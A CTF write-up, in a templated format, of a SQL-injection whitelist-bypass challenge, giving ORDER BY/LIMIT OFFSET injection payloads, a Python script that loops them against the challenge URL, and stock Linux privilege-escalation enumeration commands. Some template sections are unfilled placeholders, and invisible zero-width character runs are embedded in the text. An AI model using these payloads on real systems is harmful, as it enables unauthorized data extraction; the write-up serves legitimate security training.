Dead or alive 8

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: blind_sqli, limit_offset_extraction, order_by_enumeration

Summary

SQL injection bypass task. Strict whitelist filter allowing only specific characters and patterns.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20260309_web_kids20_websql_bypass8
• Tags: waf_bypass, sqli, mysql, whitelist_filter, order_by, limit_offset
• Indicators: strict whitelist WAF, only specific characters allowed, ORDER BY not filtered, LIMIT/OFFSET available, need to enumerate rows one by one
• Source: 20260309_web_kids20_websql_bypass8.md

Foothold

Vulnerability / Misconfiguration

1. blind_sqli
2. limit_offset_extraction
3. order_by_enumeration

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• blind_sqli
• limit_offset_extraction
• order_by_enumeration
• Tags: waf_bypass, sqli, mysql, whitelist_filter, order_by, limit_offset

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SQL injection bypass task. Strict whitelist filter allowing only specific characters and patterns.

URL: http://kslweb1.spb.ctf.su/sqli/bypass8/

Analysis

Eighth task in the SQL injection bypass series. Unlike previous tasks with blacklist filters, this one uses a whitelist — only specific constructs are allowed.

Key observations:

• SELECT, UNION and other standard keywords are blocked
• ORDER BY is allowed (used for sorting results)
• LIMIT and OFFSET are allowed
• Numbers are allowed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This allows using the row enumeration technique via ORDER BY + LIMIT + OFFSET.

Solution

ORDER BY + LIMIT OFFSET enumeration principle

When UNION/SELECT are blocked but ORDER BY and LIMIT are available, you can:

1. Use ORDER BY to sort by the desired column
2. Use LIMIT 1 OFFSET N to get the N-th row
3. Iterate OFFSET from 0 to the number of rows

Basic payload

' ORDER BY 1 LIMIT 1 OFFSET 0--
' ORDER BY 1 LIMIT 1 OFFSET 1--
' ORDER BY 1 LIMIT 1 OFFSET 2--
...

Automation

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

url = "http://kslweb1.spb.ctf.su/sqli/bypass8/"

for offset in range(100):
    payload = f"' ORDER BY 1 LIMIT 1 OFFSET {offset}--"
    r = requests.get(url, params={"id": payload})
    
    if "spbctf" in r.text:
        print(f"[+] Found at offset {offset}")
        print(r.text)
        break
    
    # Check if there's data
    if "No results" in r.text or len(r.text) < 100:
        print(f"[-] No more data at offset {offset}")
        break
    
    print(f"[{offset}] {r.text[:100]}...")

Alternative techniques

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

If character-by-character extraction is needed (blind):

• Use ORDER BY with a condition for binary search
• Combine with CASE WHEN if allowed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

signed by XESXOR